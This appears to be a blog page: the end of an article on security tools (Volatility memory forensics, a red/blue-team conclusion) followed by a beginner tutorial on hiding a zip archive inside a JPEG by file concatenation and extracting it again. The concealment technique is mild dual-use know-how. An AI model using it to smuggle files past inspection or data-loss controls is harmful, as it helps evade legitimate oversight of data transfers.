    Volatility Framework is a set of tools and libraries for extracting malicious instances from the target system’s RAM. It is widely used in digital forensics and incident response to analyze memory dumps of compromised systems and extract valuable information related to current or past security incidents.

    Because Volatility is platform-independent, it supports memory dumps from a variety of operating systems, including Windows, Linux, and macOS. In addition, Volatility can also analyze memory dumps from virtualized environments such as VMware or VirtualBox and thus gain insight into both the physical and virtual state of the system.

    Volatility’s architecture is plugin-based and comes with a wealth of plugins right out of the box. And given the ability to add custom plugins, Volatility can cover the widest possible range of forensic analysis.

    Conclusion

    Red Teaming is essential to assessing the readiness of an organization’s defenses and is vital to a robust and effective security strategy. The extensive information collected through these exercises gives organizations a holistic view of their security posture and allows them to evaluate the effectiveness of their security protocols.

    Additionally, blue teams play a key role in cybersecurity and regulatory compliance, which is especially important in highly regulated industries such as healthcare and finance.

    Team exercises also provide realistic training scenarios for security professionals, and this hands-on experience helps them hone their skills in responding to real incidents.

    ❤️ If you liked the article, like and subscribe to my channel Codelivly”.

    👍 If you have any questions or if I would like to discuss the described hacking tools in more detail, then write in the comments. Your opinion is very important to me!

  • How to Hide a File in an Image: Steganography for Beginners

    How to Hide a File in an Image: Steganography for Beginners

    If, like me, privacy and data security are important to you in the modern digital age, then I will show you one interesting way to protect information – steganography, the art of hiding files inside images. Thanks to this method, you can transfer data secretly from strangers.

    In this post, I will tell you how to quickly hide a file in an image using the built-in tools of the operating system, without the need to install additional programs. Whether you’re a Windows or Linux user, this step-by-step guide will help you master this useful skill.

    Step 1: Create an archive

    1. Gather all the files you want to hide into one folder.
    2. Create an archive from these files. Let the archive be called files.zip .

    For Windows:

    1. Select the files you want to add to the archive.
    2. Right-click on the highlighted files.
    3. Select “Send” -> “Compressed ZIP Folder”.

    For Linux:

    1. Open a terminal and navigate to your files folder using the command cd /path/to/folder .
    2. Use the zip command to create an archive: zip -r files.zip .

    Step 2: Hiding the archive in the image

    For Windows:

    1. Prepare an image (eg img.jpg ) and archive (eg files.zip ).
    2. Make sure both files are in the same folder.
    3. Open a command prompt. To do this, press the key combination Win + R , type cmd and press Enter .
    4. Go to the folder where the files are located. To do this, use the command cd pathfolder .
    5. Use the copy command to merge files: copy /b img.jpg + files.zip output.jpg . Here img.jpg is your image, files.zip is the file archive you want to hide, and output.jpg is the name of the output image in which the archive will be hidden. Now the files.zip archive is hidden inside output.jpg .

    For Linux:

    1. Prepare an image (eg img.jpg ) and archive (eg files.zip ).
    2. Make sure both files are in the same folder.
    3. Open a terminal.
    4. Navigate to the folder where the files are located using the command cd /path/to/folder .
    5. Use the cat command to merge files: cat img.jpg files.zip > output.jpg . Here img.jpg is your image, files.zip is the file archive you want to hide, and output.jpg is the name of the output image in which the archive will be hidden. Now the files.zip archive is hidden inside output.jpg .

    Extracting a hidden archive

    For Windows:

    1. Open a command prompt and navigate to the image folder using the cd pathtofolder command .
    2. Rename the file output.jpg to output.zip .
    3. Open the archive using any archiver.

    For Linux:

    1. Open a terminal and navigate to the image folder using the command cd /path/to/folder .
    2. Use the tail command to extract a hidden archive: tail -c +$(( $(stat -c %s img.jpg) + 1 )) output.jpg > extracted_files.zip .
    3. Open the extracted_files.zip file using any archiver (for example, unzip ).

    Now you know how to hide an archive with files in an image without using third-party utilities. This method is simple and does not require additional software, but keep in mind that advanced steganography may require specialized tools.

    ❤️ If you liked the article, like and subscribe to my channel Codelivly”.

    👍 If you have any questions or if I would like to discuss the described hacking tools in more detail, then write in the comments. Your opinion is very important to me!